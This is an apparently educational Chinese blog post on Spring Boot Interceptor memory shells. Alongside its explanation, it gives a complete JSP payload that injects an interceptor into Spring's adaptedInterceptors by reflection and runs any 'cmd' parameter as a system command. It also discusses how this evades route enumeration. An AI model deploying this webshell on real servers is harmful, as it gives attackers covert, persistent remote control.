首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >原理分析 | Interceptor —— SpringBoot 内存马

原理分析 | Interceptor —— SpringBoot 内存马

原创
作者头像
弹不出的shell
修改2026-04-29 12:11:34
修改2026-04-29 12:11:34
100
举报
文章被收录于专栏:代码审计代码审计

原理分析 | Interceptor —— SpringBoot 内存马

目录

  • 前言
  • Interceptor 是什么
  • 静态注册原理
  • 静态注册 Demo
  • 动态注册(内存马)
  • JSP Payload
  • 验证
  • 总结

前言

还是利用上篇的环境,这篇写 Interceptor 内存马。

Interceptor 和 Controller 内存马最大的区别在于:Controller 内存马注册了一个新路径 /shell,只有访问这个路径才触发;Interceptor 内存马不产生新路径,塞进拦截器链之后,任意请求都会触发,隐蔽性更强。


Interceptor 是什么

Interceptor 类似 Filter 的拦截,功能上很像,都是拦截请求在业务逻辑前后做处理,但层级不同:

代码语言:javascript
复制
请求进来
    ↓
Filter(Tomcat层,最外层)
    ↓
DispatcherServlet
    ↓
Interceptor(Spring层,更靠近Controller)
    ↓
Controller

Interceptor 有三个方法:

方法

执行时机

说明

preHandle

Controller 执行之前

返回 false 就拦截,不往下走

postHandle

Controller 执行之后

可以修改响应

afterCompletion

响应渲染完成后

清理资源用

内存马注入的是 preHandle,请求一进来就执行命令。

常见用途对比:

Filter

Interceptor

鉴权登录校验

日志记录

跨域处理

请求参数修改

✗(太晚了)

获取 Controller 信息

✓(handler 参数)

操作 ModelAndView

✓(postHandle)

实际开发中:

  • Filter 更多做通用处理,比如编码设置、跨域、IP 黑名单
  • Interceptor 更多做业务层面的拦截,比如登录校验、权限验证、接口耗时统计

开发者写 Filter 只需写 @WebFilter 一个注解搞定,但 Interceptor 稍微麻烦一点,需要自己注册,下面先看正常的静态注册流程。


静态注册原理

静态注册的整体流程:

代码语言:javascript
复制
WebConfig.addInterceptors(registry)
    ↓
registry.addInterceptor(evilInterceptor)
    ↓
Spring 内部把它塞进 adaptedInterceptors 这个 List
    ↓
等待请求触发

一、Spring 怎么知道要调 addInterceptors()

Spring 启动时会扫描所有实现了 WebMvcConfigurer 接口的类,然后自动调用接口里定义的所有方法。前提是类被 Spring 管理,必须有注解:

代码语言:javascript
复制
有 @Configuration / @Component 注解
        +
实现了 WebMvcConfigurer 接口
        ↓
Spring 启动时才会扫描到并调用 addInterceptors()

类比 Filter:

代码语言:javascript
复制
// Filter 需要 @WebFilter 告诉 Tomcat 来扫描
@WebFilter("/*")
public class MyFilter implements Filter { ... }
​
// Interceptor 需要 @Configuration/@Component 告诉 Spring 来扫描
@Configuration
public class WebConfig implements WebMvcConfigurer { ... }

Tomcat 启动时找所有 Filter 实现类调 doFilter,Spring 启动时找所有 WebMvcConfigurer 实现类调 addInterceptors,思路是一样的:

代码语言:javascript
复制
// Tomcat 规定:Filter 必须实现这个接口
public interface Filter {
    void doFilter(...);
}
​
// Spring 规定:配置类实现这个接口
public interface WebMvcConfigurer {
    void addInterceptors(InterceptorRegistry registry);
}

二、registry 从哪来的

registry 是 Spring 传进来的,不是自己创建的:

代码语言:javascript
复制
// Spring 调用这个方法时,自己 new 了一个 registry 传进来
public void addInterceptors(InterceptorRegistry registry) {
    registry.addInterceptor(new EvilInterceptor());
}

类比快递:Spring 是快递公司,registry 是给你的收件箱,你往里放拦截器,快递公司拿走统一处理,不需要关心 registry 怎么来的。

三、addInterceptors() 执行完之后怎么进 adaptedInterceptors

代码语言:javascript
复制
调用 registry.addInterceptor(evilInterceptor)
    ↓
registry 内部把 evilInterceptor 存进自己的临时 List
    ↓
Spring 拿到 registry,把里面的拦截器取出来
    ↓
塞进 AbstractHandlerMapping.adaptedInterceptors

类比 Filter 注册:

代码语言:javascript
复制
// Filter 注册:直接往 StandardContext 里塞
standardContext.addFilterDef(filterDef);
standardContext.addFilterMapBefore(filterMap);
filterConfigs.put("evil", filterConfig);
​
// Interceptor 静态注册:通过 registry 中转
registry.addInterceptor(evilInterceptor); // 放进中转站
// Spring 自动把中转站里的东西转移到 adaptedInterceptors

内存马之所以要反射,就是跳过 registry 这个中转站,直接往 adaptedInterceptors 里塞。因为启动阶段结束之后 Spring 就不再扫描 WebMvcConfigurer 了,registry 也消失了,运行时唯一能访问到的入口就是 adaptedInterceptors

代码语言:javascript
复制
// 内存马:跳过中转,直接塞进去
adaptedInterceptors.add(evilInterceptor);

串起来对比:

代码语言:javascript
复制
静态注册:
WebConfig.addInterceptors(registry)
    → registry.addInterceptor(拦截器)
    → Spring 把 registry 里的拦截器转移到 adaptedInterceptors
    → 等待请求触发

动态注册(内存马):
反射拿到 adaptedInterceptors
    → 直接 add(恶意拦截器)
    → 等待请求触发

两种方式最终结果一样,都是把拦截器塞进 adaptedInterceptors,只是路径不同。


静态注册 Demo

先写一个正常的静态 Interceptor 看看效果,再上内存马。

EvilInterceptor.java

代码语言:javascript
复制
package com.example.demos.web;

import org.springframework.stereotype.Component;
import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

// @Component — 告诉 Spring 这个类是一个组件,纳入容器管理
// 这样 WebConfig 里才能 @Autowired 注入它
// 其实可以不写,WebConfig 里直接 new 出来也行:new EvilInterceptor()
@Component
// HandlerInterceptor — Spring MVC 的拦截器接口,必须实现它
public class EvilInterceptor implements HandlerInterceptor {

    // preHandle — Controller 执行之前触发
    // 返回 true 放行,返回 false 拦截,请求到此为止
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle 触发了,请求路径:" + request.getRequestURI());
        return true; // 放行
    }

    // postHandle — Controller 执行之后触发
    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, org.springframework.web.servlet.ModelAndView modelAndView) {
        System.out.println("postHandle 触发了");
    }

    // afterCompletion — 响应渲染完成后触发,一般用来清理资源
    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) {
        System.out.println("afterCompletion 触发了");
    }
}

WebConfig.java

代码语言:javascript
复制
package com.example.demos.web;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

// @Configuration / @Component 都行
// Spring 启动时扫描的条件:
// 1. 类被 Spring 管理(有 @Component、@Configuration 等注解)
// 2. 实现了 WebMvcConfigurer 接口
// 满足这两个条件,Spring 就会自动调用 addInterceptors()
@Component
// 实现 WebMvcConfigurer 接口,重写 addInterceptors() 方法
public class WebConfig implements WebMvcConfigurer {

    // 前面写了 @Component 可以直接 @Autowired 注入
    // 如果不写 @Component 就需要改成:EvilInterceptor evilInterceptor = new EvilInterceptor();
    @Autowired
    private EvilInterceptor evilInterceptor;

    // 把拦截器注册进 Spring MVC
    // /* 只能拦截一级路径,/** 拦截所有路径(Ant 风格)
    // 对比 Filter(Servlet规范):/* 就是所有路径,规范不同
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(evilInterceptor)
                .addPathPatterns("/**"); // 拦截所有路径
    }
}

随便访问一个路径就会触发,访问 http://127.0.0.1:8080/hello,即使路径不存在也能被触发。

因为 Interceptor 是在 DispatcherServlet 之后、Controller 之前触发的,不管路径存不存在,只要请求进了 DispatcherServlet 就会过拦截器:

代码语言:javascript
复制
请求 /不存在的路径
    ↓
DispatcherServlet 接收
    ↓
Interceptor.preHandle() 触发 ← 这里已经触发了
    ↓
查路由表找不到对应 Controller
    ↓
转发到 /error
    ↓
Interceptor.preHandle() 再触发一次 ← /error 也过一遍

控制台可以看到三个方法依次触发:preHandle → postHandle → afterCompletion。


动态注册(内存马)

思路就是找到 adaptedInterceptors,构造恶意 Interceptor 塞进去。

Step 1:拿到 handlerMapping

和 Controller 内存马一样,从 Spring 容器里取:

代码语言:javascript
复制
// Java 版用 @Autowired 直接注入
@Autowired
private RequestMappingHandlerMapping handlerMapping;

// JSP 版手动取
WebApplicationContext context = WebApplicationContextUtils
        .getWebApplicationContext(request.getServletContext());
RequestMappingHandlerMapping handlerMapping =
        context.getBean(RequestMappingHandlerMapping.class);

Step 2:反射拿到 adaptedInterceptors

这个字段是私有的,而且在父类 AbstractHandlerMapping 里,getDeclaredField 只找当前类不找父类,所以要遍历父类找:

代码语言:javascript
复制
RequestMappingHandlerMapping        ← handlerMapping 的实际类型,没有这个字段
    ↑ 继承
RequestMappingInfoHandlerMapping    ← 没有这个字段
    ↑ 继承
AbstractHandlerMapping              ← adaptedInterceptors 在这里
代码语言:javascript
复制
Field field = null;
// 拿到 handlerMapping 当前类,从这里开始往上找
Class<?> clazz = handlerMapping.getClass();
while (clazz != null) {
    try {
        field = clazz.getDeclaredField("adaptedInterceptors");
        break; // 找到退出
    } catch (NoSuchFieldException e) {
        clazz = clazz.getSuperclass(); // 没找到往父类找
    }
}
field.setAccessible(true); // 破坏私有限制
List<HandlerInterceptor> adaptedInterceptors =
        (List<HandlerInterceptor>) field.get(handlerMapping);

field.get(handlerMapping) 是取 handlerMapping 这个对象里 adaptedInterceptors 字段的值,必须传入对象,因为这是实例字段不是静态字段。

Step 3:构造恶意 Interceptor 塞进去

这里用的是匿名内部类,和 Filter 内存马一样的写法:

代码语言:javascript
复制
// 正常具名类写法:先定义再实例化
public class EvilInterceptor implements HandlerInterceptor { ... }
EvilInterceptor evil = new EvilInterceptor();
adaptedInterceptors.add(evil);

// 匿名内部类写法:定义和实例化合并成一步,用完即丢
adaptedInterceptors.add(new HandlerInterceptor() {
    @Override
    public boolean preHandle(HttpServletRequest request,
                             HttpServletResponse response,
                             Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            // 执行命令,返回结果
            ...
            return false; // 拦截,不往下走
        }
        return true; // 没有 cmd 参数正常放行
    }
});

和静态注册对比:

代码语言:javascript
复制
静态注册:
registry.addInterceptor() → Spring 转移到 adaptedInterceptors

动态注册:
反射拿到 adaptedInterceptors → 直接 add()

跳过了 registry 中转,直接操作最终存储的 List,效果完全一样。


JSP Payload

代码语言:javascript
复制
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.springframework.web.context.WebApplicationContext" %>
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="org.springframework.web.servlet.HandlerInterceptor" %>
<%@ page import="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.List" %>

<%
    // Step 1: 拿到 handlerMapping
    WebApplicationContext context = WebApplicationContextUtils
            .getWebApplicationContext(request.getServletContext());
    RequestMappingHandlerMapping handlerMapping =
            context.getBean(RequestMappingHandlerMapping.class);

    // Step 2: 反射拿到 adaptedInterceptors(在父类 AbstractHandlerMapping 里,需要遍历父类)
    Field field = null;
    Class<?> clazz = handlerMapping.getClass();
    while (clazz != null) {
        try {
            field = clazz.getDeclaredField("adaptedInterceptors");
            break;
        } catch (NoSuchFieldException e) {
            clazz = clazz.getSuperclass();
        }
    }
    field.setAccessible(true);
    List<HandlerInterceptor> adaptedInterceptors =
            (List<HandlerInterceptor>) field.get(handlerMapping);

    // Step 3: 构造恶意 Interceptor 塞进去
    adaptedInterceptors.add(new HandlerInterceptor() {
        @Override
        public boolean preHandle(javax.servlet.http.HttpServletRequest request,
                                 javax.servlet.http.HttpServletResponse response,
                                 Object handler) throws Exception {
            String cmd = request.getParameter("cmd");
            if (cmd != null && !cmd.isEmpty()) {
                ProcessBuilder pb = new ProcessBuilder("cmd.exe", "/c", cmd);
                pb.redirectErrorStream(true);
                Process process = pb.start();
                java.io.InputStream is = process.getInputStream();
                java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
                byte[] buf = new byte[1024];
                int len;
                while ((len = is.read(buf)) != -1) {
                    baos.write(buf, 0, len);
                }
                response.getWriter().write(baos.toString());
                return false; // 拦截,不放行
            }
            return true; // 没有 cmd 参数正常放行
        }
    });

    response.getWriter().write("注入成功!任意路径带上 ?cmd=whoami 验证");
%>

验证

访问 http://127.0.0.1:8080/inject.jsp 触发注入:

访问 http://127.0.0.1:8080/?cmd=whoami,任意路径带上 cmd 参数都能触发,不需要特定路径:

重启后直接访问报错,证明内存马生效,重启即失效:


总结

Interceptor 内存马三步:

代码语言:javascript
复制
拿到 handlerMapping(Spring 容器里取)
        ↓
反射遍历父类找到 adaptedInterceptors(私有字段,在 AbstractHandlerMapping 里)
        ↓
add(恶意 Interceptor) 塞进拦截器链

和前几种内存马横向对比:

Filter 内存马

Controller 内存马

Interceptor 内存马

触发方式

任意请求

访问指定路径

任意请求

作用层

Tomcat 层

Spring 层

Spring 层

注册方式

反射修改私有集合

官方公开 API

反射修改私有字段

隐蔽性

中(路由可枚举)

Controller 内存马用的是官方公开 API registerMapping(),Interceptor 内存马则要反射硬改私有字段,因为 Spring 没有提供运行时动态注册拦截器的公开接口。隐蔽性上 Interceptor 比 Controller 强,不产生新路由,Actuator /actuator/mappings 枚举不到,任意路径都能触发,更接近 Filter 内存马的效果。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 原理分析 | Interceptor —— SpringBoot 内存马
    • 目录
    • 前言
    • Interceptor 是什么
    • 静态注册原理
    • 静态注册 Demo
    • 动态注册(内存马)
    • JSP Payload
    • 验证
    • 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档